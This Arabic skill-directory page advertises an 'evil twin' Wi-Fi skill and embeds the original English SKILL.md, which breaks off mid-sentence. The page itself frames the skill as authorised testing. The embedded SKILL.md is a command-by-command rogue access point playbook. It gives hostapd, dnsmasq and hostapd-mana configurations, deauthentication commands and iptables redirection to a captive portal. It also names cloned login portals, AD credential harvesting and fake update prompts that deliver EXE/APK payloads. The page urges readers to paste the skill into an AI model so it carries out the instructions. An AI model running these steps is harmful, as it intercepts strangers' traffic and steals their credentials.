Skillpedia
الأمان10k · #11983

offensive-evil-twin

ما الذي تفعله

تصف هذه المهارة كيف تعمل اختبارات نقاط الوصول المزيفة المشابهة لشبكات Wi-Fi الحقيقية، وكيف تُخطَّط. وهي موجهة لمختبري الأمن الذين يُطلب منهم فحص سلوك الأجهزة ووعي المستخدمين.

متى تستخدمها

  • ✓عندما يُطلب منك اختبار ما إذا كانت الأجهزة تتصل تلقائيًا بشبكة مشابهة في مراجعة معتمدة.
  • ✓عندما تريد مقارنة أنواع الاختبارات الشائعة لنقاط الوصول المزيفة ومفاضلاتها.
  • ✓عندما تحتاج إلى خطة لاختبار شبكة مشابهة حصلت على موافقة كتابية.

رابط المهارة

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-evil-twin/SKILL.md

انسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.

طريقة الاستخدام

أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.

رسالة جاهزة للصق

استخدم هذه المهارة لمساعدتي: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-evil-twin/SKILL.md اقرأ ملف SKILL.md في هذا الرابط ونفّذ تعليماته لمهمتي.
تريد أن يجد الذكاء الاصطناعي مهارات مثل هذه بنفسه؟ثبّت خادم Skillpedia MCP المجاني: سطر واحد، ويبحث في 15,000+ مهارة قبل كل مهمة.ثبّته في دقيقة واحدة →

مثال على ما تطلبه من الذكاء الاصطناعي

“هل تستطيع مساعدتي في تخطيط اختبار معتمد لمعرفة ما إذا كانت أجهزة الموظفين تتصل بنسخة مزيفة من شبكة الضيوف لدينا؟”

5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.

كيف تعمل

تعدّد المهارة أنواع الاختبارات الرئيسية، وتشرح كيف تُجذب الأجهزة نحو شبكة مشابهة، وتصف كيفية إعداد كل اختبار. وتؤكد على الإذن الواضح والنطاق المحدد.

المحتوى التقني (ملف SKILL.md الأصلي)

النص الأصلي من المؤلف، مباشرة من GitHub.

Evil Twin / KARMA / Mana

Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.

Quick Workflow

  1. Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)
  2. Stand up rogue AP advertising matching ESSID(s)
  3. (Optional) Deauth clients off legitimate AP to push them toward yours
  4. Run captive portal / transparent MITM
  5. Capture creds, deliver payload, or harvest sessions

Variants

Variant Mechanic Use Case
Evil Twin Same ESSID + BSSID as legit AP Open or PSK-known networks (ISP cafe Wi-Fi, public guest)
KARMA Respond "yes" to every probe request Clients with broad PNLs (most older devices)
Mana Respond selectively to probes per-client KARMA-aware MAC randomization defenses
Known Beacons Beacon a list of likely-known ESSIDs Wide-net attraction without seeing probes first
Captive Portal Force splash page on association Phishing, payload delivery

Open / PSK-Known Evil Twin

Use when you know (or have cracked) the PSK.

# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd

# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal

# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &

# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1   # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d

KARMA — Universal Probe Response

# hostapd-mana with KARMA mode enabled (mana_mode=1)
cat > /tmp/karma.conf <<EOF
interface=wlan0
ssid=KARMA
hw_mode=g
channel=6
mana_loud=1
mana_macacl=0
EOF
sudo hostapd-mana /tmp/karma.conf

Modern clients with MAC randomization probe with random MACs and a randomized PNL — KARMA's universal-yes response is now triggers on probes the client wouldn't actually associate to. Use Mana for better selectivity.

Mana — Selective Per-Client Response

# hostapd-mana (default mode is mana, not loud)
cat > /tmp/mana.conf <<EOF
interface=wlan0
ssid=Free-WiFi
hw_mode=g
channel=6
mana_mode=1
mana_macacl=0
mana_outfile=/tmp/mana.log
EOF
sudo hostapd-mana /tmp/mana.conf

Mana tracks MAC → ESSID-probe-list. When that MAC associates, Mana picks one realistic ESSID from its observed probe list and responds consistently. Defeats KARMA-aware client-side mitigations.

Known Beacons Attack

# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
eaphammer --essid-file likely_essids.txt --hostile-portal
# likely_essids.txt: airport, cafe, hotel, office defaults from open intel

Beacons attract spontaneous association from devices whose PNLs include these names. Useful when you don't see probes (modern devices broadcast fewer probes than they used to).

Deauth Coercion

Push existing clients off legitimate AP to your evil twin:

# On a different interface (or after stopping airbase-ng)
sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2

Combined with stronger signal (closer position) or higher TX power on your AP, the client roams to you on reconnection.

Detection trade-off: broadcast deauth is loud; targeted single-client deauth is quieter. PMF (802.11w) blocks unencrypted deauth — see offensive-deauth-disassoc.

Captive Portal / Credential Capture

# Portal options in eaphammer / wifiphisher / airgeddon include:
# - Generic OAuth-style (Google/MS/Facebook clones)
# - Vendor router login pages (matched to nearby AP brand)
# - Corporate-themed portal harvesting AD creds
# - Update-required prompts delivering EXE/APK payloads

# Custom: simple Flask+iptables setup
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
iptables -t nat -A POSTROUTING -j MASQUERADE
python3 -m flask run --host=10.10.10.1 --port=8080

For high-fidelity portals, mirror the legitimate captive

الأسئلة الشائعة

هل يمكن استخدام هذه المهارة دون إذن؟

لا. المحتوى مكتوب للاختبارات المعتمدة، ويحتاج الاختبار إلى إذن كتابي من مالك الشبكة.

ما أنواع الاختبارات التي تغطيها؟

تغطي اختبارات الشبكات المشابهة بأسلوب النسخ، والرد على الاستكشاف، والأسلوب الشبيه ببوابة الدخول.

ما بوابة الدخول (captive portal)؟

هي صفحة تسجيل الدخول التي يعرضها الجهاز عند الانضمام لأول مرة إلى شبكة Wi-Fi. وتغطيها المهارة كنوع من أنواع الاختبار.

التفاصيل

الوصف الأصلي من المؤلف

Evil Twin / KARMA / Mana access point methodology — rogue AP construction with hostapd-mana / wifiphisher / airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, deauth-driven client coercion to attacker AP, MAC randomization defeat via PNL leak analysis, post-association MITM (DNS, ARP, transparent proxy), credential capture for portal/web/SMB, and detection-evasion tactics. Use to coerce client devices onto an attacker-controlled AP, intercept their traffic, harvest credentials, or deliver payloads via captive portal.

repo: SnailSploit/Claude-Red

الشعبية

نجوم GitHub
10k
الترتيب
#11983
الترخيص
MIT
آخر تحديث
12‏/10‏/2026

هل هذه المهارة مفيدة؟

0

سجّل الدخول للتصويت.

التعليقات

  • …

المزيد من المهارات من هذا المستودع

مهارات مشابهة